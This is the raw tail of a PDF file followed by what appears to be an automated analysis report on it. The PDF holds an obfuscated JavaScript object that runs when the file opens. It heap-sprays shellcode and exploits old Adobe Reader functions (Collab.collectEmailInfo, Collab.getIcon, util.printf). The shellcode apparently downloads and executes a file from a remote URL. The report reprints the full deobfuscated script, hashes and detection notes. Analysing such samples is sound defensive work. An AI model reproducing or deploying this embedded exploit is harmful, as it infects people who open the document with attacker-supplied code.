�A/ ����Q��0� H ����y�6_ q�7%�*�L��cd`� zp�c��<# � y� �m 4Z�#�R���Y4^{ �c�)Mn�zn ����(�t�X��1��n�X���M��� �=�}� ���p�a�.1�"l��iNi�ľ�y�X؈F*��}dh v����@ ���m�4� MyӀ*�5-; �0T�` Y:�wm 6� �>�%N۞I d YT)V� ��}eG����N�^
��+�毱���-�-��q�RP� �~M���'��i
B}��In�p� �uL� B�7X?��I*(Qڣhx���<rz3"��Z����|�=]���#�a� S �- ' ד2j1ې �
7~S54c@ �Q��r-�# �n�vrs՝ݗ}�CI����P�$ ���~��z�� 稅|������� LE��r��o�$焺{���g5��L� _d3���l{��p�3�� -N�7[ �| �q�*�56��c�~A<5� ��Kw���f=�y�:�� '<S ��<ϝJL �s"�u����Fl �Aq�U�Y��N{{o�I_v\ �ז�A �n��� ;� ���5�5�X�Z�^�9� �. ��Hi ����� �>�E��_l����d�L��9R��� ���q�n&U)[T6����7| �Zf��K�S�����ޤx���7)^]�7��H�N } /V�۷o��q�(z��m � � ��� ��f�S�T`�ZAx:� -,"?m/��s }0�k|�� � �� �� � =�l)���'��#h� Nm����Sp �R�� �
�5�=od�E5mK�Э� � � m��V�8v�z����{�N�D�� a��"G� 4| �`u�h>� �t�[F������� / -�[K!���}� �G���bj��>)�> -Z�N:ڡ#�2� ��� ��k-�v����r �� ]�o9�V���{� �{���v�s�� n�(���ڝ��q�w8Ÿﭦ�HU��K}ܓ:7�p>�- ���&tN�FE�k�%N ��� ��;�� q��'��� � �� ,&m�9��4Y@Z%7� �� 7� =b�=w�F�#�w�yO ��� \���Em�(�"<�c'6�� K:�� ӊ:��&4
� %��V+�� ��6�L���ҍ{� {�<B[;��X�����/��i��v�j���#����Si �1`�ª�WrY:架]���9v �PV��!�#h7ߞ��Z �{�G�A���=a|��>`|f� a�^� |F�e%� �@�#T�?�|� �I;
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 841>>
stream
x��V�r�6 ��+ޥ3� &)���q�x�� ��!� D,I� A �h�뻴dŪ�d�V=� v��}o�b �t� �����'�Q�nx���
��&X�(¦�����`��l�㹘��%B��l�E"R�[�"J�7��%�k�� �9V����fp���FgOW�_ gK�,�Jؘb����- ;�rtmm��'l����b�e�ob��} �er�il[��I�!����X� f ��n6 �����7�� O���x�o�=���&s,����h������7�� ��Ҿ�|/M��+�=U&����VI�k��@����\� *�q��� Uh� �
eI
��� � ��
���� �t J�' _�����
z�t$�*�� �b-�� [c;Bi z� Q8;� �kF� # � �8K^� �� �)Y���趄��c؋�f ��X�/��{�t o� ��<g� ��zTT0�?Kgؕ|��@ �����mQKf�0�c �iӅ� x���Kb�'bq�H�[ `�RĢяϊ�Fe��,z �� e:����� ͥ�ۭÎ� q/����2c�d1 �� >xM,n�� w[�#t��-���h5{Qg�
,�n"��ҏ����\�K�� 'տ�j��A��Y�` 2w�{�� �@-��}�H�U �� �4���bg �[�= � � � [�I:���X ��� �Y)}wQ E٩9vr j�vD�h�l��� pRMpui���F4���; |���[C�� v'�ڳ�M� -� ���5�y�;��X� �Y.�@���кK�.[/O��k�� ��{�����f��ޅ �6}� kX�^Or-���8C g#��ӷC��sP�ǠLVb�~����4&��Z �u�x}���� �� �X� � �to�
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Courier
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2366>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?�袊�s�
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��ڙc�z
e Q@ Q@ Q@ Q@ R���@ E?���=)��� QL �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� Jy�=QMGE
(�� Q@ Q@ Q@ *�� J( P� #<��� �:RQI+QE �(��(��(��(��(��(��(���kk��>�1��s��Un D��Wk7��D
)bz�~�);� ��*�(��T�09� �B���՞<�C�� �?� Lm Q@ (� �(� �(� �(� �(� ��3��Jtd`(9"�� �8 ��kqh��
(��
(��
(��
(��
(��
(��
(��
(��
(��
( ��
�s��v v"��)�(��(��(��(��)�� E6�|� �v�u��(��(��(��(��(��� (��@ QE QE QE QE QE QE QE QE QE QE QE "���y�GE&�
\VmǠ �QL �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)� �I;Tu&�� (�ț ��e � �(� �(� �(� �(� �(� �3Ҋ� �ê�=� ��h������h � QE
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
� N�T �ꊊM]X �fY?v�� ��ګQE �* � QE0
(��
(��
(��
(��
r�/C�m �.�� <����(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��*A < ���S/*è �s��$O��� )8�sQӋ� �NqM��ij8���E U QE QE QE QE QE QE QE QE QE S�������� B � NԹ�� QE �(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���B�LR�H,��G>� �$�Ҹ�DTQ��� �� H ː�� � . d�Y��w�urycx
��`��Z�N;
(�� (� �(� �(� �(� �YG�Q�>�
�S� �(� E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P Y c� �U ����QK�^�`��)�QE QE QE QE QE QE QE QE QE QE zS��Q@ E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��function vbOPusNc\(vb6ey6Vut\){return vb6ey6Vut;}var aJvlnOjm=new Array\(9070,18959,19100\);var f7D1bcqX="vd9aTHHp";var oFJlWmX8 = 'var yiVRjOkYtm = new Array\(\);var zfBUZF8x;function ozT5jZ5D\(wYkUBVd4, ktekUbjH\){while\(wYkUBVd4.length * 2 < ktekUbjH\){wYkUBVd4 += wYkUBVd4;}wYkUBVd4 = wYkUBVd4.substring\(0, ktekUbjH / 2\);return wYkUBVd4;}function mCMeZdpVP\(hbpVkVkFCM\){if\(hbpVkVkFCM == 0\){var l8v9dClzn = 0x0c0c0c0c;}else if\(hbpVkVkFCM == 1\){l8v9dClzn = 0x30303030;}var q9pY6GQ0b = new Array\(\\"%u5350%u5\\",\\"251%u57\\",\\"56%u9c5\\",\\"5%u00e8%u0\\",\\"000%u5d00%\\",\\"ued83%u3\\",\\"10d%u64c0%\\",\\"u4003%u783\\",\\"0%u8b0c\\",\\"%u0c40%u70\\",\\"8b%uad1c%\\",\\"u408b%\\",\\"ueb08%u8b0\\",\\"9%u3440%u\\",\\"408d%\\",\\"u8b7c%u\\",\\"3c40%u5\\",\\"756%u5eb\\",\\"e%u0001%u\\",\\"0100%ubfee\\",\\"%u014e\\",\\"%u0000%\\",\\"uef01%ud6\\",\\"e8%u0001\\",\\"%u5f00%\\",\\"u895e%u81e\\",\\"a%u5ec2%u0\\",\\"001%u5200%\\",\\"u8068%u0\\",\\"000%uf\\",\\"f00%u4e9\\",\\"5%u0001\\",\\"%u8900%\\",\\"u81ea%u5ec\\",\\"2%u000\\",\\"1%u3100%u\\",\\"01f6%u8a\\",\\"c2%u359c%u\\",\\"0263%u\\",\\"0000%ufb\\",\\"80%u7\\",\\"400%u\\",\\"8806%u\\",\\"321c%ue\\",\\"b46%uc\\",\\"6ee%u3\\",\\"204%u890\\",\\"0%u81ea%u4\\",\\"5c2%u0002%\\",\\"u5200%\\",\\"u95ff%u015\\",\\"2%u0000\\",\\"%uea89%uc2\\",\\"81%u0\\",\\"250%u00\\",\\"00%u5052%u\\",\\"95ff%\\",\\"u0156%\\",\\"u0000%u006\\",\\"a%u006a%u\\",\\"ea89%uc28\\",\\"1%u015e%u0\\",\\"000%u89\\",\\"52%u81ea\\",\\"%u78c\\",\\"2%u0002%u\\",\\"5200%u006a\\",\\"%ud0ff%u05\\",\\"6a%uea\\",\\"89%uc281%\\",\\"u015e%u\\",\\"0000%uff\\",\\"52%u5a95\\",\\"%u0001%u\\",\\"8900%u81\\",\\"ea%u5ec2%u\\",\\"0001%u\\",\\"5200%u\\",\\"8068%u0000\\",\\"%uff00%u4\\",\\"e95%u00\\",\\"01%u89\\",\\"00%u8\\",\\"1ea%u5e\\",\\"c2%u0001\\",\\"%u310\\",\\"0%u01f6%u8\\",\\"ac2%u359c\\",\\"%u026e%u\\",\\"0000%ufb80\\",\\"%u7400%u\\",\\"8806%\\",\\"u321c%ueb\\",\\"46%uc\\",\\"6ee%u3\\",\\"204%u8\\",\\"900%u81\\",\\"ea%u45c2%u\\",\\"0002%u5\\",\\"200%u95f\\",\\"f%u0152%u\\",\\"0000%uea89\\",\\"%uc281%\\",\\"u0250\\",\\"%u0000%u50\\",\\"52%u95f\\",\\"f%u0156%u0\\",\\"000%u006a%\\",\\"u006a%\\",\\"uea89%u\\",\\"c281%u\\",\\"015e%u0000\\",\\"%u8952%u81\\",\\"ea%ua6c2%\\",\\"u0002%u520\\",\\"0%u006a%\\",\\"ud0ff\\",\\"%u056a%\\",\\"uea89%u\\",\\"c281%u015\\",\\"e%u0000%uf\\",\\"f52%u5a95%\\",\\"u0001%\\",\\"u9d00%u5\\",\\"f5d%u5a5e\\",\\"%u5b59%\\",\\"uc358%u000\\",\\"0%u00\\",\\"00%u0000%\\",\\"u0000%u0\\",\\"000%u0000\\",\\"%u0000%u\\",\\"0000%u\\",\\"6547%u5\\",\\"474%u6\\",\\"d65%u5070\\",\\"%u7461\\",\\"%u4168%u\\",\\"4c00%u616f\\",\\"%u4c64\\",\\"%u6269\\",\\"%u617\\",\\"2%u797\\",\\"2%u0041%\\",\\"u6547\\",\\"%u5074%u\\",\\"6f72%u416\\",\\"3%u646\\",\\"4%u6572\\",\\"%u737\\",\\"3%u5700%u\\",\\"6e69%u\\",\\"7845%\\",\\"u6365%\\",\\"ubb00%uf28\\",\\"9%uf789%\\",\\"uc030%u7\\",\\"5ae%u2\\",\\"9fd%u89\\",\\"f7%u31f\\",\\"9%ubec0%u0\\",\\"03c%u000\\",\\"0%ub5\\",\\"03%u021b%u\\",\\"0000%uad\\",\\"66%u85\\",\\"03%u021b%u\\",\\"0000%u708b\\",\\"%u8378%\\",\\"u1cc6\\",\\"%ub503%u02\\",\\"1b%u0000%u\\",\\"bd8d%u021f\\",\\"%u000\\",\\"0%u03a\\",\\"d%u1b85%\\",\\"u0002%\\",\\"uab00%u03\\",\\"ad%u1b8\\",\\"5%u0002\\",\\"%u5000%u\\",\\"adab%\\",\\"u8503%u021\\",\\"b%u00\\",\\"00%u5\\",\\"eab%u\\",\\"db31%u\\",\\"56ad%\\",\\"u8503%\\",\\"u021b%u\\",\\"0000%uc68\\",\\"9%ud7\\",\\"89%ufc51%u\\",\\"a6f3%u7459\\",\\"%u5e0\\",\\"4%ueb43%\\",\\"u5ee9%ud1\\",\\"93%u03e0\\",\\"%u2785%u\\",\\"0002%u3\\",\\"100%u96\\",\\"f6%ua\\",\\"d66%ue0c1\\",\\"%u0302%u1f\\",\\"85%u0002\\",\\"%u8900%\\",\\"uadc6\\",\\"%u8503%u02\\",\\"1b%u00\\",\\"00%ueb\\",\\"c3%u0\\",\\"010%u0000\\",\\"%u0000%u0\\",\\"000%u000\\",\\"0%u0000%u0\\",\\"000%u0\\",\\"000%u\\",\\"8900%u\\",\\"1b85%u00\\",\\"02%u5600%\\",\\"ue857%uff5\\",\\"8%uffff%u5\\",\\"e5f%u\\",\\"01ab%\\",\\"u80ce%ubb3\\",\\"e%u0274%\\",\\"uedeb%\\",\\"u55c3%u4c\\",\\"52%u4f4d%\\",\\"u2e4e%\\",\\"u4c44\\",\\"%u004c%\\",\\"u5255%\\",\\"u444c%u\\",\\"776f%u6c\\",\\"6e%u616\\",\\"f%u54\\",\\"64%u4\\",\\"66f%u6c69\\",\\"%u4165%u7\\",\\"500%u\\",\\"6470%\\",\\"u7461%u2\\",\\"e65%u786\\",\\"5%u0065%u\\",\\"7263%u7\\",\\"361%u2e68%\\",\\"u6870%u00\\",\\"70%u7468%u\\",\\"7074%u2f3\\",\\"a%u742f%u\\",\\"6172%u6b63\\",\\"%u7265\\",\\"%u6c2e%u6b\\",\\"69%u64\\",\\"65%u7665\\",\\"%u6c69%u6\\",\\"32e%u6d6f\\",\\"%u352\\",\\"f%u752\\",\\"f%u6470%\\",\\"u7461%\\",\\"u2e65%u\\",\\"6870%u3f\\",\\"70%u6\\",\\"469%u\\",\\"333d%u\\",\\"7226%u\\",\\"7465%u6\\",\\"f3d%u0\\",\\"06b%u90\\",\\"00\\"\);q9pY6GQ0b = unescape\(q9pY6GQ0b.join\(\\"\\"\)\);var q9sXtOncko = 0x400000;var va7mY8cM = q9pY6GQ0b.length * 2;var ktekUbjH = q9sXtOncko - \(va7mY8cM + 0x38\);var wYkUBVd4 = unescape\(\\"%u9090%u9090\\"\);wYkUBVd4 = ozT5jZ5D\(wYkUBVd4, ktekUbjH\);var n5e4GmGIKa = \(l8v9dClzn - 0x400000\) / q9sXtOncko;for\(var gKGfNIjg = 0; gKGfNIjg < n5e4GmGIKa; gKGfNIjg++\){yiVRjOkYtm[gKGfNIjg] = wYkUBVd4 + q9pY6GQ0b;}}function jxJhkMf2\(\){var rBMniiLJa = 0;var zzRTq7dyO = app.viewerVersion.toString\(\);app.clearTimeOut\(zfBUZF8x\);if\(\(zzRTq7dyO >= 8 && zzRTq7dyO < 8.102\) || zzRTq7dyO < 7.1\){mCMeZdpVP\(0\);var bT7jAmo1 = unescape\(\\"%u0c0c%u0c0c\\"\);while\(bT7jAmo1.length < 44952\) bT7jAmo1 += bT7jAmo1;var qWB6pzpon9 = this;var laBXf53Fr = Collab;qWB6pzpon9[\\"collabStore\\"] = laBXf53Fr[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : bT7jAmo1}\);}if\(\(zzRTq7dyO >= 8.102 && zzRTq7dyO < 8.104\) || \(zzRTq7dyO >= 9 && zzRTq7dyO < 9.1\) || zzRTq7dyO <= 7.101\){try{if\(app.doc.Collab.getIcon\){mCMeZdpVP\(2\);var swqUMHj0 = unescape\(\\" \\"\);while\(swqUMHj0.length < 0x4000\){swqUMHj0 += swqUMHj0;}swqUMHj0 = \\"N.\\" + swqUMHj0;var mge6M2hGmG = app;mge6M2hGmG[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(swqUMHj0\);rBMniiLJa = 1;}else{rBMniiLJa = 1;}}catch\(e\){rBMniiLJa = 1;}if\(rBMniiLJa == 1\){if\(zzRTq7dyO == 8.102 || zzRTq7dyO == 7.1\){mCMeZdpVP\(1\);var upC1McjEWW = \\"12999999999999999999\\";for\(ar1gkQ9RM = 0; ar1gkQ9RM < 276; ar1gkQ9RM++\){upC1McjEWW += \\"8\\";}var rfxwu5AIU4 = util;rfxwu5AIU4[\\"printf\\"]\(\\"E000f\\", upC1McjEWW\);}}}}app.qw53gKJIH = jxJhkMf2;zfBUZF8x = app.setTimeOut\(\\"app.qw53gKJIH\(\)\\", 10\);';v847Hso8j='ywtF0exopJ';function mrtzccJBY\(lgKM5z1y\){}var wyxZA3FeX=new Array\(27940,8333\);var hw7uuCjlG = oFJlWmX8.replace\(/[]/g, ''\);this.emvdmINgG="oIFZIYIbG";var cMOmwedLLy="dem5WxX7g";var nB3upYHy="aqhpBlfh";var mTemA9jcn = 'eval';app[mTemA9jcn]\(hw7uuCjlG\);this.xW5itivYJ=0.20698;var dhmgURT2=false;this.uZFfCaF2a=null;)
>>
endobj
19 0 obj
<<
/Title (��ifDuringHave)
/Author (��longLoremRepeat)
/Subject (��bcFormWhen)
/Keywords (��ifCiceroGalley, toExactDummy, isntLikeAldus)
/Creator (��pageDolor)
/Producer (��fced4f35799409dd854ebeaea7db546d)
/CreationDate (D:20091020170433+04'00')
/ModDate (D:20091020170433+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f
0000009661 00000 n
0000012824 00000 n
0000000009 00000 n
0000000117 00000 n
0000002999 00000 n
0000003107 00000 n
0000005747 00000 n
0000005855 00000 n
0000008640 00000 n
0000008749 00000 n
0000009737 00000 n
0000009853 00000 n
0000009967 00000 n
0000010074 00000 n
0000010179 00000 n
0000010291 00000 n
0000013019 00000 n
0000013071 00000 n
0000025365 00000 n
0000025787 00000 n
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
26189
%%EOF
|
|||
generic_stage_recovery_010.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from JavaScript object 18 at offset 0x330F | 5779 bytes |
SHA-256: d424a478d76da98022dafb0fa972745d751c12b62be0f7651744d10bead95d55 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 37 of 65 identifiers look randomly generated (e.g. 'q9sXtOncko') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��function vbOPusNc(vb6ey6Vut){return vb6ey6Vut;}var aJvlnOjm=new Array(9070,18959,19100);var f7D1bcqX="vd9aTHHp";var oFJlWmX8 = 'var yiVRjOkYtm = new Array();var zfBUZF8x;function ozT5jZ5D(wYkUBVd4, ktekUbjH){while(wYkUBVd4.length * 2 < ktekUbjH){wYkUBVd4 += wYkUBVd4;}wYkUBVd4 = wYkUBVd4.substring(0, ktekUbjH / 2);return wYkUBVd4;}function mCMeZdpVP(hbpVkVkFCM){if(hbpVkVkFCM == 0){var l8v9dClzn = 0x0c0c0c0c;}else if(hbpVkVkFCM == 1){l8v9dClzn = 0x30303030;}var q9pY6GQ0b = new Array(\"%u5350%u5\",\"251%u57\",\"56%u9c5\",\"5%u00e8%u0\",\"000%u5d00%\",\"ued83%u3\",\"10d%u64c0%\",\"u4003%u783\",\"0%u8b0c\",\"%u0c40%u70\",\"8b%uad1c%\",\"u408b%\",\"ueb08%u8b0\",\"9%u3440%u\",\"408d%\",\"u8b7c%u\",\"3c40%u5\",\"756%u5eb\",\"e%u0001%u\",\"0100%ubfee\",\"%u014e\",\"%u0000%\",\"uef01%ud6\",\"e8%u0001\",\"%u5f00%\",\"u895e%u81e\",\"a%u5ec2%u0\",\"001%u5200%\",\"u8068%u0\",\"000%uf\",\"f00%u4e9\",\"5%u0001\",\"%u8900%\",\"u81ea%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u359c%u\",\"0263%u\",\"0000%ufb\",\"80%u7\",\"400%u\",\"8806%u\",\"321c%ue\",\"b46%uc\",\"6ee%u3\",\"204%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%\",\"u95ff%u015\",\"2%u0000\",\"%uea89%uc2\",\"81%u0\",\"250%u00\",\"00%u5052%u\",\"95ff%\",\"u0156%\",\"u0000%u006\",\"a%u006a%u\",\"ea89%uc28\",\"1%u015e%u0\",\"000%u89\",\"52%u81ea\",\"%u78c\",\"2%u0002%u\",\"5200%u006a\",\"%ud0ff%u05\",\"6a%uea\",\"89%uc281%\",\"u015e%u\",\"0000%uff\",\"52%u5a95\",\"%u0001%u\",\"8900%u81\",\"ea%u5ec2%u\",\"0001%u\",\"5200%u\",\"8068%u0000\",\"%uff00%u4\",\"e95%u00\",\"01%u89\",\"00%u8\",\"1ea%u5e\",\"c2%u0001\",\"%u310\",\"0%u01f6%u8\",\"ac2%u359c\",\"%u026e%u\",\"0000%ufb80\",\"%u7400%u\",\"8806%\",\"u321c%ueb\",\"46%uc\",\"6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c2%u\",\"0002%u5\",\"200%u95f\",\"f%u0152%u\",\"0000%uea89\",\"%uc281%\",\"u0250\",\"%u0000%u50\",\"52%u95f\",\"f%u0156%u0\",\"000%u006a%\",\"u006a%\",\"uea89%u\",\"c281%u\",\"015e%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002%u520\",\"0%u006a%\",\"ud0ff\",\"%u056a%\",\"uea89%u\",\"c281%u015\",\"e%u0000%uf\",\"f52%u5a95%\",\"u0001%\",\"u9d00%u5\",\"f5d%u5a5e\",\"%u5b59%\",\"uc358%u000\",\"0%u00\",\"00%u0000%\",\"u0000%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u\",\"6547%u5\",\"474%u6\",\"d65%u5070\",\"%u7461\",\"%u4168%u\",\"4c00%u616f\",\"%u4c64\",\"%u6269\",\"%u617\",\"2%u797\",\"2%u0041%\",\"u6547\",\"%u5074%u\",\"6f72%u416\",\"3%u646\",\"4%u6572\",\"%u737\",\"3%u5700%u\",\"6e69%u\",\"7845%\",\"u6365%\",\"ubb00%uf28\",\"9%uf789%\",\"uc030%u7\",\"5ae%u2\",\"9fd%u89\",\"f7%u31f\",\"9%ubec0%u0\",\"03c%u000\",\"0%ub5\",\"03%u021b%u\",\"0000%uad\",\"66%u85\",\"03%u021b%u\",\"0000%u708b\",\"%u8378%\",\"u1cc6\",\"%ub503%u02\",\"1b%u0000%u\",\"bd8d%u021f\",\"%u000\",\"0%u03a\",\"d%u1b85%\",\"u0002%\",\"uab00%u03\",\"ad%u1b8\",\"5%u0002\",\"%u5000%u\",\"adab%\",\"u8503%u021\",\"b%u00\",\"00%u5\",\"eab%u\",\"db31%u\",\"56ad%\",\"u8503%\",\"u021b%u\",\"0000%uc68\",\"9%ud7\",\"89%ufc51%u\",\"a6f3%u7459\",\"%u5e0\",\"4%ueb43%\",\"u5ee9%ud1\",\"93%u03e0\",\"%u2785%u\",\"0002%u3\",\"100%u96\",\"f6%ua\",\"d66%ue0c1\",\"%u0302%u1f\",\"85%u0002\",\"%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%ueb\",\"c3%u0\",\"010%u0000\",\"%u0000%u0\",\"000%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u\",\"8900%u\",\"1b85%u00\",\"02%u5600%\",\"ue857%uff5\",\"8%uffff%u5\",\"e5f%u\",\"01ab%\",\"u80ce%ubb3\",\"e%u0274%\",\"uedeb%\",\"u55c3%u4c\",\"52%u4f4d%\",\"u2e4e%\",\"u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u\",\"776f%u6c\",\"6e%u616\",\"f%u54\",\"64%u4\",\"66f%u6c69\",\"%u4165%u7\",\"500%u\",\"6470%\",\"u7461%u2\",\"e65%u786\",\"5%u0065%u\",\"7263%u7\",\"361%u2e68%\",\"u6870%u00\",\"70%u7468%u\",\"7074%u2f3\",\"a%u742f%u\",\"6172%u6b63\",\"%u7265\",\"%u6c2e%u6b\",\"69%u64\",\"65%u7665\",\"%u6c69%u6\",\"32e%u6d6f\",\"%u352\",\"f%u752\",\"f%u6470%\",\"u7461%\",\"u2e65%u\",\"6870%u3f\",\"70%u6\",\"469%u\",\"333d%u\",\"7226%u\",\"7465%u6\",\"f3d%u0\",\"06b%u90\",\"00\");q9pY6GQ0b = unescape(q9pY6GQ0b.join(\"\"));var q9sXtOncko = 0x400000;var va7mY8cM = q9pY6GQ0b.length * 2;var ktekUbjH = q9sXtOncko - (va7mY8cM + 0x38);var wYkUBVd4 = unescape(\"%u9090%u9090\");wYkUBVd4 = ozT5jZ5D(wYkUBVd4, ktekUbjH);var n5e4GmGIKa = (l8v9dClzn - 0x400000) / q9sXtOncko;for(var gKGfNIjg = 0; gKGfNIjg < n5e4GmGIKa; gKGfNIjg++){yiVRjOkYtm[gKGfNIjg] = wYkUBVd4 + q9pY6GQ0b;}}function jxJhkMf2(){var rBMniiLJa = 0;var zzRTq7dyO = app.viewerVersion.toString();app.clearTimeOut(zfBUZF8x);if((zzRTq7dyO >= 8 && zzRTq7dyO < 8.102) || zzRTq7dyO < 7.1){mCMeZdpVP(0);var bT7jAmo1 = unescape(\"%u0c0c%u0c0c\");while(bT7jAmo1.length < 44952) bT7jAmo1 += bT7jAmo1;var qWB6pzpon9 = this;var laBXf53Fr = Collab;qWB6pzpon9[\"collabStore\"] = laBXf53Fr[\"collectEmailInfo\"]({subj : \"\", msg : bT7jAmo1});}if((zzRTq7dyO >= 8.102 && zzRTq7dyO < 8.104) || (zzRTq7dyO >= 9 && zzRTq7dyO < 9.1) || zzRTq7dyO <= 7.101){try{if(app.doc.Collab.getIcon){mCMeZdpVP(2);var swqUMHj0 = unescape(\" \");while(swqUMHj0.length < 0x4000){swqUMHj0 += swqUMHj0;}swqUMHj0 = \"N.\" + swqUMHj0;var mge6M2hGmG = app;mge6M2hGmG[\"doc\"][\"Collab\"][\"getIcon\"](swqUMHj0);rBMniiLJa = 1;}else{rBMniiLJa = 1;}}catch(e){rBMniiLJa = 1;}if(rBMniiLJa == 1){if(zzRTq7dyO == 8.102 || zzRTq7dyO == 7.1){mCMeZdpVP(1);var upC1McjEWW = \"12999999999999999999\";for(ar1gkQ9RM = 0; ar1gkQ9RM < 276; ar1gkQ9RM++){upC1McjEWW += \"8\";}var rfxwu5AIU4 = util;rfxwu5AIU4[\"printf\"](\"E000f\", upC1McjEWW);}}}}app.qw53gKJIH = jxJhkMf2;zfBUZF8x = app.setTimeOut(\"app.qw53gKJIH()\", 10);';v847Hso8j='ywtF0exopJ';function mrtzccJBY(lgKM5z1y){}var wyxZA3FeX=new Array(27940,8333);var hw7uuCjlG = oFJlWmX8.replace(/[]/g, '');this.emvdmINgG="oIFZIYIbG";var cMOmwedLLy="dem5WxX7g";var nB3upYHy="aqhpBlfh";var mTemA9jcn = 'eval';app[mTemA9jcn](hw7uuCjlG);this.xW5itivYJ=0.20698;var dhmgURT2=false;this.uZFfCaF2a=null;
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.